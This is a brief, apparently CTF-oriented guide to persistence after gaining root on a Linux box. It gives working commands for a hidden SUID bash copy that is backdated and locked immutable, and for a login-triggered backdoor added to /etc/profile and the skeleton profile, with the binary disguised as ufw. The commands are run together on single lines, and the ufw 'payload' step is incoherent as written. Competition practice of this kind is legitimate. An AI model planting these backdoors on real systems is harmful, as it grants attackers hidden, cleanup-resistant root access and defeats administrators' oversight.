Attack/Defense CTFs hand every team the same box. Once you have root, you want a way back in that survives a patch or a password reset. Both snippets assume you are already root.
Hidden SUID bash
A root-owned copy of bash with the SUID bit set. Any user can run it to get a root shell. It is backdated to blend into old files and made immutable so a cleanup script can’t remove it.
cp /bin/bash /.kernel # root-owned copy, innocuous namechmod +s /.kernel # SUID: runs as its owner (root)touch -d "2004-05-04 00:00:00" /.kernel # backdate to blend inchattr +i /.kernel # immutable, even root can't delete itTrigger it with /.kernel -p. Bash drops elevated privileges on startup unless you pass -p.
Login backdoor
Runs a payload on every login and for every newly created user, disguised as ufw. The profile files and the binary are locked immutable.
echo "/usr/bin/ufw &" >> /etc/profile # runs on every interactive loginecho "/usr/bin/ufw &" >> /etc/skel/.profile # and for every new userchmod +s /usr/bin/ufw # SUID rootchattr +i /usr/bin/ufw /etc/profile /etc/skel/.profileTo clean up afterward, drop immutability first: chattr -i <file>, then revert each change.